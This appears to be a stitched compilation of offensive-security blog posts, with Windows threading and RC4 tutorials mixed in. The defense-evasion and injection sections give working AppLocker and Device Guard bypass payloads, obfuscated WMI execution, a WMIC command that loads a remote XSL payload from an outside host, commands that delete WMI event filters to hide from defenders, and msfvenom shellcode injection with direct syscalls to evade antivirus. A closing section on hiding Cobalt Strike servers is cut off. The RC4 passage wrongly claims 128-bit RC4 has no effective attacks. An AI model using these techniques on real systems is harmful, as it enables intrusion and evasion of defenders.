The image above is the life cycle of deleted Active Directory objects after the recycle bin is enabled.
Enable the AD recycle bin:
Enable-ADOptionalFeature –Identity ‘CN=Recycle Bin Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=www,DC=domain,DC=com’ –Scope ForestOrConfigurationSet –Target ‘www.domain.com’
View deleted users:
Get-ADObject -filter 'isDeleted -eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects
Deleted : True
DistinguishedName : CN=TempAdmin\0ADEL:f0cc344d-31e0-4866-bceb-a842791ca059,CN=Deleted Objects,DC=cascade,DC=local
Name : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
ObjectClass : user
ObjectGUID : f0cc344d-31e0-4866-bceb-a842791ca059
Try to restore deleted account:
Restore-ADObject -Identity 'f0cc344d-31e0-4866-bceb-a842791ca059'
or
Get-ADObject -Filter {displayName -eq "TempAdmin"} IncludeDeletedObjects | Restore-ADObject
Query ms-mcs-admpwd:
Get-ADObject -ldapFilter:"(msDS-LastKnownRDN=*)" –IncludeDeletedObjects -Property ms-mcs-admpwd
View all attribute information about a specific account:
Get-ADObject -Filter {displayName -eq "TempAdmin"} -IncludeDeletedObjects -Properties *
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
0x11 summary
It seems that there is nothing to summarize.
Links:
https://mlcsec.com/active-directory-domain-enumeration/#
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-powerview
https://0xdarkvortex.dev/index.php/2019/01/01/active-directory-penetration-dojo-ad-environment-enumeration-1/
https://blog.riskivy.com/fun_with_acl_and_gpo/
By Boschko
- My Hack The Box: https://www.hackthebox.eu/home/users/profile/37879
- My Website: https://olivierlaflamme.github.io/
- My GitHub: https://github.com/OlivierLaflamme
- My WeChat QR below:

Defenses Evasion (The Quick'n Dirty)
This is just a quick and dirty overview of some defense evasion tactics that are out there for some the common services / processes. I might post something in the future that dives into this deeper - if you don't want to wait for that day to come I'm sharing with you below some amazing resources and articles I've appreciated in the past.
Awesome tool for restricted env. evasion:
https://github.com/Cn33liz/p0wnedLoader
https://rastamouse.me/2018/05/csharp-dotnettojscript-xsl/
https://github.com/Arno0x/PowerShellScripts
https://github.com/cobbr/PSAmsi/wiki/Introduction-To-PSAmsi
https://github.com/secabstraction/WmiSploit
More:
https://bohops.com/2019/01/10/com-xsl-transformation-bypassing-microsoft-application-control-solutions-cve-2018-8492/
https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html
https://oddvar.moe/
https://www.fortynorthsecurity.com/building-a-windows-defender-application-control-lab/
https://posts.specterops.io/threat-detection-using-windows-defender-application-control-device-guard-in-audit-mode-602b48cd1c11
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-exploit-guard/evaluate-windows-defender-exploit-guard
http://www.exploit-monday.com/2018/06/device-guard-and-application.html
https://lolbas-project.github.io/#
https://www.contextis.com/en/blog/amsi-bypass
Application Identify Service (Process name: AppIDSvc)
Definition:
The Application Identity service determines and verifies the identity of an app.
Stopping this service will prevent AppLocker policies from being enforced.
Important:
When using Group Policy, you must configure it to start automatically in at least one Group Policy Object (GPO) that applies AppLocker rules. This is because AppLocker uses this service to verify the attributes of a file.
Identification:Get-Service appidsvc
Bypass through COM object technique:
1) Store payload in XML file:
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>
2) Use "COM" object to execute payload:
$xsl = new-object -ComObject Msxml2.DoMDocument.6.0
$xsl.load("C:\Users\Victim\Documents\minimalist.xml") | out-null
$xsl.setProperty("AllowXsltScript",$true)
$xsl.transformNode($xsl)
Evade Detection and/or Restricted Environments
WMI Class Derivation (Evasion) with no "win32" prefix:
$C = [WmiClass] '/root/cimv2:Win32_Process'
$N = $C.derive('MyEvilProcess')
$N.Put()
Invoke-WmiMethod MyEvilProcess -Name CrEaTe -ArgumentList calc.exe
Advanced WMI Class Derivation - presented at Security BsidesDublin 2019 talk.
Full details https://github.com/kmkz/PowerShell/tree/master/BsidesDublin-2019
# RandomName function:
function GenerateRandomName(){
$Pf = "abcdefghijkmnopqrstuvwxyzABCEFGHJKLMNPQRSTUVWXYZ23456789".TOchArarRay()
$rSVdssS1=""
1..10 | ForEach { $rSVdssS1 += $Pf | Get-Random }
return $rSVdssS1
}
# Class derivation
zNrF = -jOin[regex]::MaTcHeS('sSeCorp_23nIw:2VmIc/tOoR/',".",'RightToLeft')
$CoFtfEgvsJ = [wMicLaSs]$zNrF
$YepTa = "pRoc"+"eSs"
$PoDtbeF4Dp= GenerateRandomName
$N = $CoFtfEgvsJ.dEriVe("$PoDtbeF4Dp")
$N.pUt()
$BlzQ=0
$VrBnZ=111-1+3+7+5+5-3+$BlzQ
$CpOnBt5= gEt-cOntEnt -paTh "\\Vboxsvr\shared\BSIDESIE\cmd.in.txt" # your command
# Payload execution:
iNvokE-wmIMeThOd $PoDtbeF4Dp -NaMe CrEaTe -arGumEntlIst "cMd ^/c $CpOnBt5 >>\\Vboxsvr\shared\BSIDESIE\$rSVdssS.lol" # collect output (if needed)
Authenticated proxy bypass:
"Creates a TCP Tunnel through the default system proxy. As such, it automatically handles proxy authentication if ever required."
https://github.com/Arno0x/PowerShellScripts/blob/master/proxyTunnel.ps1
PowerShell without PowerShell + restricted env. escaping through WMIC XSL payload execution:
C:\Windows\System32\WMIC.exe os get /format:"https://tatamaster.lol/p0wnedLoader/p0wnedLoader.xsl"
Blue team/detection mechanisms evasion for WMI lateral movements:
(Add following line to your payload to remove Windows "Applications" EvenViewer logs)
Get-WmiObject __eventFilter -namespace root/subscription -filter "name='_PersistenceEvent_'"| Remove-WmiObject
Get-WmiObject __eventFilter -namespace root/subscription -filter "name='_ProcessCreationEvent_'"| Remove-WmiObject
Antimalware Scan Interface (AMSI)
Identification (for ScanBuffer):
In a PowerShell terminal, enter “AmsiScanBuffer” (with double quotes)
Bypasses:
https://github.com/kmkz/PowerShell/blob/master/amsi-bypass.ps1
Resources:
https://www.contextis.com/en/blog/amsi-bypass
https://rastamouse.me/2018/12/amsiscanbuffer-bypass-part-4/ (most recent techniques)
https://tyranidslair.blogspot.com/2018/06/disabling-amsi-in-jscript-with-one.html
AppLocker demystification
"When whitelisting policies are enforced, PowerShell CLM is applied in AppLocker (for users in "Allowed Mode") and WDAC (for users and administrators)."
Error message: "This app has been blocked by your system Administrator"
Bypass:
1) use p0wnedShell via .xsl file + encryption (for Defender Bypass) https://github.com/Cn33liz/p0wnedLoader for payload delivery (WMI)
Example: C:\Windows\System32\wbem\WMIC.exe os get /format:"https://tatamaster/p0wnedLoader.xsl"
2) https://github.com/kmkz/PowerShell/blob/master/Semi-interactive-shell-applocker-bypass.ps1
Resources:
P0wnedShell by Cn33liz: https://github.com/Cn33liz/p0wnedShell
AAronLocker: https://blogs.msdn.microsoft.com/aaron_margosis/2018/06/26/announcing-application-whitelisting-with-aaronlocker/
https://www.slideshare.net/OddvarHlandMoe/appolockalypse-now
https://github.com/api0cradle/UltimateAppLockerByPassList
Windows Lockdown Policy (WLDP aka Device Guard) with User Mode Code Integrity (UMCI) policy
Definition:
When "enforced" by AppLocker policy, CLM COM object instantiation is very open.
In essence, (m)any COM object can be instantiated by default when WLDP is not active.
Under WDAC with UMCI, the WLDP greatly reduces this number (between 8 to 50 COM objects according to James Forshaw of Google Project Zero in this .NET COM Instantiation UMCI bypass disclosure write-up linked in "Resources" part).
Bypass based on CVE-2018-1039 by Google Project Zero:
1) Create a "keys.txt" file with following content:
HKEY_CURRENT_USER\Software\Classes\CLSID\{70B46225-C474-4852-BB81-48E0D36F9A5A}
= REG_SZ WScript.Shell
HKEY_CURRENT_USER\Software\Classes\CLSID\{70B46225-C474-4852-BB81-48E0D36F9A5A}\TreatAs
= REG_SZ {72C24DD5-D70A-438B-8A42-98424B88AFB8}
HKEY_CURRENT_USER\Software\Classes\CLSID\{70B46225-C474-4852-BB81-48E0D36F9A5A}\Implemented Categories\{7DD95801-9882-11CF-9FA9-00AA006C42C4}
HKEY_CURRENT_USER\Software\Classes\CLSID\{70B46225-C474-4852-BB81-48E0D36F9A5A}\Implemented Categories\{7DD95802-9882-11CF-9FA9-00AA006C42C4}
2) From the explorer Run dialog execute “regini path\to\keys.txt”
3) Create a "shell.html" file with following content (our payload):
<html>
<body>
<object id="obj" classid="clsid:70B46225-C474-4852-BB81-48E0D36F9A5A">NO OBJECT</object>
<script>
try {
obj.Exec("notepad");
} catch (e) {
alert(e.message);
}
</script>
</body>
</html>
4) Execute the HTML file from the Run dialog using "hh.exe path\to\shell.html"
Resources:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1514 (fixed on 5/08/2018)
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2018-1039
The RC4 encryption
The RC4 encryption algorithm is a symmetric encryption algorithm.
Symmetric encryption algorithm
Symmetric encryption (also called private key encryption) refers to an encryption algorithm that uses the same key for encryption and decryption . Sometimes called the traditional cryptographic algorithm, the encryption key can be calculated from the decryption key, and the decryption key can also be calculated from the encryption key. In most symmetric algorithms, the encryption key and the decryption key are the same, so this encryption algorithm is also called a secret key algorithm or a single key algorithm. It requires the sender and receiver to agree on a key before communicating securely. The security of the symmetric algorithm depends on the key. Leaking the key means that anyone can decrypt the messages they send or receive, so the confidentiality of the key is very important to the security of communication.
RC4 encryption algorithm
RC4 algorithm is characterized by simple algorithm, fast running speed, and the key length is variable, the variable range is 1-256 bytes (8-2048 bits), under the premise of technical support today, when the key length is At 128 bits, it is not feasible to search for keys by brute force, so it can be predicted that the key range of RC4 can still resist brute force search key attacks for a long time in the future. In fact, no effective attack method has been found for the 128bit key length RC4 encryption algorithm.
/* Initialization function */
void rc4_init(unsigned char *s,unsigned char *key, unsigned long Len)
{
int i = 0 ,j = 0 ;
char k[ 256 ]={ 0 };
unsigned char tmp = 0 ;
for (i = 0 ;i< 256 ;i++ ) {
s[i] = i;
k[i] =key[i% Len];
}
for (i= 0 ;i< 256 ;i++ ) {
j =(j+s[i]+k[i])% 256 ;
tmp = s[i];
s[i] = s[j]; // Exchange s[i] and s[j]
s[j]= tmp;
}
}
/* Encryption and decryption */
void rc4_crypt(unsigned char *s,unsigned char *Data,unsigned long Len)
{
int i = 0 , j = 0 , t = 0 ;
unsigned long k = 0 ;
unsigned char tmp;
for (k = 0 ;k<Len;k++ )
{
i = (i + 1 )% 256 ;
j =(j+s[i])% 256 ;
tmp = s[i];
s[i] = s[j]; // Swap s[x] and s[y]
s[j]= tmp;
t =(s[i]+s[j])% 256 ;
Data[k] ^= s[t];
}
}
// Program start
#include<stdio.h>
#include < string .h>
typedef unsigned longULONG;
/* Initialization function */
void rc4_init(unsigned char *s, unsigned char *key, unsigned long Len)
{
int i = 0 , j = 0 ;
char k[ 256 ] = { 0 };
unsigned char tmp = 0 ;
for (i = 0 ; i< 256 ; i++ )
{
s[i] = i;
k[i] = key[i% Len];
}
for (i = 0 ; i< 256 ; i++ )
{
j = (j + s[i] + k[i])% 256 ;
tmp = s[i];
s[i] = s[j]; // Swap s[i] and s[j]
s[j] = tmp;
}
}
/* Encryption and decryption */
void rc4_crypt(unsigned char *s, unsigned char *Data, unsigned long Len)
{
int i = 0 , j = 0 , t = 0 ;
unsigned long k = 0 ;
unsigned char tmp;
for (k = 0 ; k<Len; k++ )
{
i = (i + 1 )% 256 ;
j = (j + s[i])% 256 ;
tmp = s[i];
s[i] = s[j]; // Swap s[x] and s[y]
s[j] = tmp;
t = (s[i] + s[j])% 256 ;
Data[k] ^= s[t];
}
}
int main()
{
unsigned char s[ 256 ] = { 0 }, s2[ 256 ] = { 0 }; // S-box
char key[ 256 ] = { " justfortest " };
char pData[ 512 ] = " This is an encryption Data " ;
unsigned long len = strlen(pData);
int i;
printf( " pData=%s\n " , pData);
printf( " key=%s,length=%d\n\n " , key, strlen(key));
rc4_init(s, (unsigned char *)key, strlen(key)); // Has completed the initialization
printf( " Complete the initialization of S[i], as follows: \n\n " );
for (i = 0 ; i< 256 ; i++ )
{
printf( " %02X " , s[i]);
if (i && (i + 1 )% 16 == 0 )putchar( ' \n ' );
}
printf( " \n\n " );
for (i = 0 ; i< 256 ; i++) // Use s2[i] to temporarily reserve the initialized s[i], it is very important! ! !
{
s2[i] = s[i];
}
printf( " Initialized, now encrypted:\n\n " );
rc4_crypt(s, (unsigned char *)pData, len); // Encryption
printf( " pData=%s\n\n " , pData);
printf( " Already encrypted, now decrypt:\n\n " );
// rc4_init(s,(unsignedchar*)key,strlen(key)); // initialize the key
rc4_crypt(s2, (unsigned char *)pData, len); // Decrypt
printf( " pData=%s\n\n " , pData);
return 0 ;
}
//The program is over
By Boschko
- My Hack The Box: https://www.hackthebox.eu/home/users/profile/37879
- My Website: https://olivierlaflamme.github.io/
- My GitHub: https://github.com/OlivierLaflamme
- My WeChat QR below:

Windows thread control
Multithreading undoubtedly brings a lot of convenience and improves a lot of development efficiency, but it also brings a lot of problems.
Example:
DWORD WINAPI ThreadProc(LPVOID lPParameter);
int m = 0 ;
int n = 0 ;
int main( int argc, TCHAR* argv[], TCHAR* envp[])
{
HANDLE hThread = CreateThread(NULL, 0 ,(LPTHREAD_START_ROUTINE)ThreadProc ,NULL, 0 ,NULL);
int i = 0 ;
for (i = 0 ; i< 100000 ; i++ )
{
m ++ ;
n ++ ;
}
Sleep( 1 );
cout << " M: " <<m<< endl;
cout << " N: " <<n<< endl;
return 0 ;
}
DWORD WINAPI ThreadProc(LPVOID lPParameter)
{
int j = 0 ;
for (j = 0 ;j< 100000 ;j++ )
{
m ++ ;
n ++ ;
}
return 0 ;
}
What is the output of this program? According to common sense, it is not difficult to draw a conclusion: m and n are both 20000.
But what about the real results?
The results are surprising, and the results are different every time ! Why does this happen?
When A thread accesses global resources, it cannot control B thread's access to global resources. When A takes out the memory data and puts it in the register operation, B also takes out the memory data and put it in the register operation, which may cause repeated operations! That is to say, when A is performing calculations, B can perform calculations before putting the calculation results back. So the final result is smaller than 200,000 and m and n are different.
In order to control the thread not to be disordered, it must be coordinated according to our intention, and it is inevitable to use thread control (mutual exclusion/synchronization) technology!
Let me talk about the basic method of thread control :
1. EVENT (event)
2. Critical Section (critical section)
3. Mutex (mutual exclusion)
4. Semaphore (semaphore)
EVENT (event)
Using events to synchronize threads is the most flexible . An event has two states: excited state and unexcited state. Also called the signaled state and the non-signaled state . There are two types of events: manual reset events and automatic reset events. After the manual reset event is set to the activated state, all waiting threads will be awakened and remain in the activated state until the program resets it to the inactivated state. After the auto reset event is set to the activated state, it will wake up "a" waiting thread, and then automatically return to the inactivated state. So it is ideal to synchronize two threads with automatic reset events . The corresponding class in MFC is CEvent. The constructor of CEvent creates an automatically reset event by default, and it is in an unfired state. Change the state of the event: SetEvent, ResetEvent.
Let's see how to use events to solve our actual problems:
DWORD WINAPI ThreadProc(LPVOID lPParameter);
int m = 0 ;
int n = 0 ;
int main( int argc, TCHAR* argv[], TCHAR* envp[])
{
HANDLE hEvent = NULL;
hEvent = CreateEvent(NULL,FALSE, FALSE,NULL); // FALSE ×Ô¶¯ TRUE ÊÖ¶¯ FALSEÊÇ×Ô¶¯
HANDLE hThread = CreateThread(NULL, 0 ,(LPTHREAD_START_ROUTINE)ThreadProc,hEvent, 0 ,NULL);
WaitForSingleObject(hEvent,INFINITE);
int i = 0 ;
for (i=0 ;i< 100000 ;i++ )
{
m ++ ;
n ++ ;
}
Sleep( 1 );
cout << " M: " <<m<< endl;
cout << " N: " <<n<< endl ;
return 0 ;
}
DWORD WINAPI ThreadProc(LPVOID lPParameter)
{
HANDLE hEvent = NULL;
hEvent = (HANDLE)lPParameter;
int j = 0 ;
for (j= 0 ;j< 100000 ;j++ )
{
m ++ ;
n ++ ;
}
SetEvent(hEvent);
return 0 ;
}
Let's see if the result is correct:
They are.
Critical Section
CRITICAL_SECTION is the fastest. Other kernel locks (events, mutexes) require thousands of CPU cycles each time they enter the kernel. The first advice for using critical regions is not to lock a resource for a long time.
The long time here is relative and depends on different procedures. For some control software, it can be several milliseconds, but for other programs, it can be several minutes. But after entering the critical zone, you must leave as soon as possible to release resources. If it is not released, what will happen? The answer is nothing. If the main thread (GUI thread) wants to enter a critical area that has not been released, the program will hang! One disadvantage of the critical section is: Critical Section is not a core object , and it is impossible to know whether the thread entering the critical section is alive or dead. If the thread entering the critical section hangs, the critical resource is not released , the system cannot know, and there is no way to release the critical section. Resources.
This shortcoming is made up for in the mutex (Mutex).
DWORD WINAPI ThreadProc(LPVOID lPParameter);
int m = 0 ;
int n = 0 ;
CRITICAL_SECTION cs;
int main( int argc, TCHAR* argv[], TCHAR* envp[])
{
InitializeCriticalSection( & cs);
HANDLE hThread = CreateThread (NULL, 0 ,(LPTHREAD_START_ROUTINE)ThreadProc,NULL, 0 ,NULL);
int i = 0 ;
EnterCriticalSection( & cs);
for (i = 0 ;i< 100000 ;i++ )
{
m ++ ;
n ++ ;
}
LeaveCriticalSection( & cs);
Sleep( 1 );
cout << " M: " <<m<< endl;
cout << " N: " <<n<< endl;
DeleteCriticalSection ( &cs); // Deadlock
return 0 ;
}
DWORD WINAPI ThreadProc(LPVOID lPParameter)
{
int j = 0 ;
EnterCriticalSection( &cs);
for (j = 0 ;j< 100000 ;j++ )
{
m ++ ;
n ++ ;
}
LeaveCriticalSection( & cs);
return 0 ;
}
The same way you can get the correct result!
Regarding the use of the critical section, it is a four-step problem: initialize the critical section --> enter the critical section --> leave the critical section --> destroy the critical section . Keep these four in mind and there will be no problems. One thing to note is: critical section and recursion should be used carefully, recursion in the critical section will cause deadlock!
Mutex (mutual exclusion)
The function of the mutex is very similar to the critical region. The difference is: Mutex spends more time than Critical Section, but Mutex is the core object (Event, Semaphore also), can be used across processes, and waiting for a locked Mutex can be set to TIMEOUT, unlike the Critical Section In that way, it is impossible to know the situation of the critical region, and it keeps waiting. Win32 functions are: create a mutex CreateMutex(), open a mutex OpenMutex(), release a mutex ReleaseMutex().
The ownership of Mutex does not belong to the thread that spawned it, but the last thread that waited for this Mutex (WaitForSingleObject, etc.) and has not yet performed the ReleaseMutex() operation. A thread owning a Mutex is like entering the Critical Section. Only one thread can own the Mutex at a time.
If a thread that owns a Mutex does not call ReleaseMutex() before returning, then the Mutex is discarded, but when other threads wait for this Mutex (WaitForSingleObject, etc.), they can still return and get a WAIT_ABANDONED_0 return value. It is unique to Mutex to be able to know that a Mutex is abandoned.
HANDLE hMutex = NULL;
int main( int argc, TCHAR* argv[], TCHAR* envp[])
{
hMutex = CreateMutex(NULL,TRUE,NULL);
HANDLE hThread = CreateThread(NULL, 0 ,(LPTHREAD_START_ROUTINE)ThreadProc,NULL , 0 ,NULL);
int i = 0 ;
for (i = 0 ;i< 100000 ;i++ )
{
m ++ ;
n ++ ;
}
ReleaseMutex(hMutex);
Sleep( 1 );
cout<< " M: " <<m<< endl;
cout << " N: " <<n<< endl;
return 0 ;
}
DWORD WINAPI ThreadProc(LPVOID lPParameter)
{
WaitForSingleObject(hMutex,INFINITE);
int j = 0 ;
for (j= 0 ;j< 100000 ;j++ )
{
m ++ ;
n ++ ;
}
return 0 ;
}
Semaphore (semaphore)
Semaphore is the most historical synchronization mechanism. Semaphore is a key element to solve the producer/consumer problem. The Win32 function CreateSemaphore() is used to generate a semaphore. ReleaseSemaphore() is used to release the lock.
The current value of Semaphore represents the number of resources currently available. If the current value of Semaphore is 1, it means that there is another lock action that can succeed. If the current value is 5, it means there are five locking actions that can succeed. When calling Wait... and other functions to require locking, if the current value of Semaphore is not 0, Wait... returns immediately, and the number of resources is reduced by 1. When ReleaseSemaphore() is called, the number of resources is increased by 1, and it will not exceed the total number of resources initially set.
HANDLE hSemaphore = NULL;
int main( int argc, TCHAR* argv[], TCHAR* envp[])
{
hSemaphore = CreateSemaphore(NULL, 0 , 1 ,NULL);
HANDLE hThread = CreateThread(NULL, 0 ,(LPTHREAD_START_ROUTINE)ThreadProc ,NULL, 0 ,NULL);
int i = 0 ;
for (i = 0 ;i< 100000 ;i++ )
{
m ++ ;
n ++ ;
}
ReleaseSemaphore(hSemaphore, 1,NULL);
Sleep( 1 );
cout << " M: " <<m<< endl;
cout << " N: " <<n<< endl;
CloseHandle(hSemaphore);
return 0 ;
}
DWORD WINAPI ThreadProc( LPVOID lPParameter)
{
WaitForSingleObject(hSemaphore,INFINITE);
int j = 0 ;
for (j = 0 ;j< 100000 ;j++ )
{
m ++ ;
n ++ ;
}
return 0 ;
}
By Boschko
- My Hack The Box: https://www.hackthebox.eu/home/users/profile/37879
- My Website: https://olivierlaflamme.github.io/
- My GitHub: https://github.com/OlivierLaflamme
- My WeChat QR below:

Direct system call injection process to avoid anti-kill
The content is as titled.
This is also a technology I have used for a long time. I have also posted such on my github and given this to many others.
Introduction
The main idea is to inject shellcode into the process. The process can be an existing process or a newly created process.
Mainly used api are as listed below. Also a good resource for undocumented windows process injection stuff that I like is the following: https://bytepointer.com/resources/index.htm
LPVOID VirtualAllocEx(
HANDLE hProcess,
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
BOOL WriteProcessMemory(
HANDLE hProcess,
LPVOID lpBaseAddress,
LPCVOID lpBuffer,
SIZE_T nSize,
SIZE_T *lpNumberOfBytesWritten
);
HANDLE CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId
);
The simple demo is as follows:
#include <iostream>
#include <Windows.h>
#include "common.h"
int main()
{// msfvenom -p windows/x64/exec CMD=notepad.exe -f cunsignedchar shellcode[] ="\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52""\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48""\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9""\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41""\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48""\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01""\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48""\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0""\ xac \ x41 \ xc1 \ xc9 \ x0d \ x41 \ x01 \ xc1 \ x38 \ xe0 \ x75 \ xf1 \ x4c \ x03 \ x4c "
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74"
"\x65\x70\x61\x64\x2e\x65\x78\x65\x00";
// Create a 64-bit process:
STARTUPINFO si;
PROCESS_INFORMATION pi;
LPVOID allocation_start;
SIZE_T allocation_size = sizeof(shellcode);
LPCWSTR cmd;
HANDLE hProcess, hThread;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
cmd = TEXT("C:\\Windows\\System32\\nslookup.exe");
if (!CreateProcess(
cmd, // Executable
NULL, // Command line
NULL, // Process handle not inheritable
NULL, // Thread handle not inheritable
FALSE, // Set handle inheritance to FALSE
CREATE_NO_WINDOW, // Do Not Open a Window
NULL, // Use parent's environment block
NULL, // Use parent's starting directory
&si, // Pointer to STARTUPINFO structure
&pi // Pointer to PROCESS_INFORMATION structure (removed extra parentheses)
)) {
DWORD errval = GetLastError();
std::cout << "FAILED" << errval << std::endl;
}
WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize.
// Inject into the 64-bit process:
// HIGH-LEVEL WINDOWS API:
allocation_start = VirtualAllocEx(pi.hProcess, NULL, allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, allocation_start, shellcode, allocation_size, NULL);
CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)allocation_start, NULL, 0, 0);
}
Then analyze the API call situation:
it is important to remember that there are two types of APIs that can be spied on:
We use low level APIs for our operations
So,
First, make a system call to the API you need to use. The core code is as follows:
NtAllocateVirtualMemory(pi.hProcess, &allocation_start, 0, (PULONG)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
NtWriteVirtualMemory(pi.hProcess, allocation_start, shellcode, sizeof(shellcode), 0);
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, pi.hProcess, allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL);
Among them, NtAllocateVirtualMemory needs to consider the version differences of different operating systems. Refer to the following:
NtAllocateVirtualMemory_SystemCall_6_1_7600: ; Windows 7 SP0
mov eax, 0015h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_1_7601: ; Windows 7 SP1 and Server 2008 R2 SP0
mov eax, 0015h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_2_XXXX: ; Windows 8 and Server 2012
mov eax, 0016h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_6_3_XXXX: ; Windows 8.1 and Server 2012 R2
mov eax, 0017h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_10240: ; Windows 10.0.10240 (1507)
mov eax, 0018h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_10586: ; Windows 10.0.10586 (1511)
mov eax, 0018h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_14393: ; Windows 10.0.14393 (1607)
mov eax, 0018h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_15063: ; Windows 10.0.15063 (1703)
mov eax, 0018h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_16299: ; Windows 10.0.16299 (1709)
mov eax, 0018h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_17134: ; Windows 10.0.17134 (1803)
mov eax, 0018h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_17763: ; Windows 10.0.17763 (1809)
mov eax, 0018h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_18362: ; Windows 10.0.18362 (1903)
mov eax, 0018h
jmp NtAllocateVirtualMemory_Epilogue
NtAllocateVirtualMemory_SystemCall_10_0_18363: ; Windows 10.0.18363 (1909)
mov eax, 0018h
jmp NtAllocateVirtualMemory_Epilogue
The list is as follows:
Regarding the relationship, refer to the following figure then obfuscate your shellcode such as xor or rot13. Then load it into memory and decrypt it.
To test this ill use the only antivirus that I respect qihoo 360 :not_troll:
By Boschko
- My Hack The Box: https://www.hackthebox.eu/home/users/profile/37879
- My GitHub: https://github.com/OlivierLaflamme
- My WeChat QR below:

How to Hide Your CobaltStrike
CobaltStrike Overview
Cobalt Strike is the most prevalent threat emulation software packages used by infosec red team. Often referred to as CS in the industry.
It has become an indispensable weapon in penetration testing and red teams. It has a variety of protocol hosted online methods, integrated privilege escalation, credential export, port forwarding, socket proxy, office attack, file bundling, phishing and other functions. At the same time, Cobalt Strike can also call other well-known tools such as Mimikatz, so it is widely loved by hackers.
Project official website: https://www.cobaltstrike.com
CS has become so widely used that most of its out-of-the box characteristics have been identified and even marked by WAF manufacturers. To lean more about this I would STRONGLY recommend the following blogs.
- Detecting Exposed Cobalt Strike DNS Redirectors - by F-Secure
- Analyzing Cobalt Strike for Fun and Profit - by Etienne “tek” Maynier
Think about it. If a WAF can spot CS traffic, and ban your IP then the source can eventually be traces and using a simple BF script your C2 is compromised as it will eventually become overwhelmed. We NEED to hide our CS.
1. Modify the default port
First things first, you have to change the teamserver port. If port 50050 is open for whats essentially the controller that's no good your C2 is too easy to identify. For example, any server using port 50050 that also provides an HTTP response unique to NanoHTTPD web servers is more likely a Cobalt Strike server than one found to only exhibit an HTTP response signature.
2.
3. Remove the certificate feature
The default certificate of Cobalt Strike has been marked as bad by the waf manufacturer. We need to regenerate a new certificate. Here we use the keytool certificate tool that comes with the JDK to generate a new certificate.
You can use the keytool command in linux.
keytool
Key and certificate management tools
command:
-certreq Generate certificate request
-changealias change the alias of the entry
-delete delete entry
-exportcert export certificate
-genkeypair Generate key pair
